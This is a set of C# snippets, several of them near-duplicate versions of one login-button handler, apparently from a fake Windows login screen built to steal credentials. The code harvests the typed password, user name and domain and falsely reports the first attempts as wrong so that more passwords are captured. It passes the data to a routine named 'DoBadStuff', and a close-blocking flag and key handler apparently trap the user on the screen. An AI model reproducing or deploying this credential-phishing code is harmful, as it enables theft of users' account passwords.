// Gets called when the Login Button is clicked or the enter key event is triggered on the password text box private void LoginButton_Click(object sender, EventArgs e) { // Do nothing if no password has been entered if (string.IsNullOrEmpty(PasswordTextBox.Text)) { return; } if (PasswordTextBox.Text == Language.PlaceholderText) { return; } if (PasswordErrorCounter < PasswordErrors) { PasswordErrorCounter++; Result.WrongPasswords.Add(PasswordTextBox.Text); ShowPasswordError(); return; } DenyClose = false; if (!Configuration.DebugMode) { KeyPressHandler.Enable(); } try { Result.UserName = Environment.UserName; Result.DisplayName = UserNameLabel.Text; Result.DomainName = Environment.UserDomainName; Result.Password = PasswordTextBox.Text; // Time for malicious business 😏 DoBadStuff.Now(Result); } catch (Exception ex) { if (Configuration.DebugMode) { MessageBox.Show(ex.ToString(), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } } finally { Close(); } }
private void LoginButton_Click(object sender, EventArgs e) { if (string.IsNullOrEmpty(PasswordTextBox.Text)) { return; } if (PasswordTextBox.Text == PLACEHOLDER_TEXT) { return; } DenyClose = false; #if !DEBUG KeyPressHandler.Enable(); #endif DoBadStuff.Now(PasswordTextBox.Text, Environment.UserName, Environment.UserDomainName); Close(); }
// Gets called when the Login Button is clicked or the enter key event is triggered on the password text box private void LoginButton_Click(object sender, EventArgs e) { // Do nothing if no password has been entered if (string.IsNullOrEmpty(PasswordTextBox.Text)) { return; } if (PasswordTextBox.Text == PLACEHOLDER_TEXT) { return; } DenyClose = false; #if !DEBUG KeyPressHandler.Enable(); #endif // Time for malicious business 😏 DoBadStuff.Now(PasswordTextBox.Text, Environment.UserName, Environment.UserDomainName); Close(); }
// add other users buttons and display them in the lower left corner private void InitializeOtherUsers() { AddChangeUserPanel(Language.OtherUserText, 0, GetUserIconByName(Language.OtherUserText)); AddChangeUserPanel(UserNameLabel.Text, 1, GetUserIconByName(Environment.UserName)); int counter = 0; // add emergency exit to user button ((Button)Controls.Find("1", true).First()).Click += (s, e) => { counter++; if (counter > 50) { DenyClose = false; if (!Configuration.DebugMode) { KeyPressHandler.Enable(); } Close(); } }; }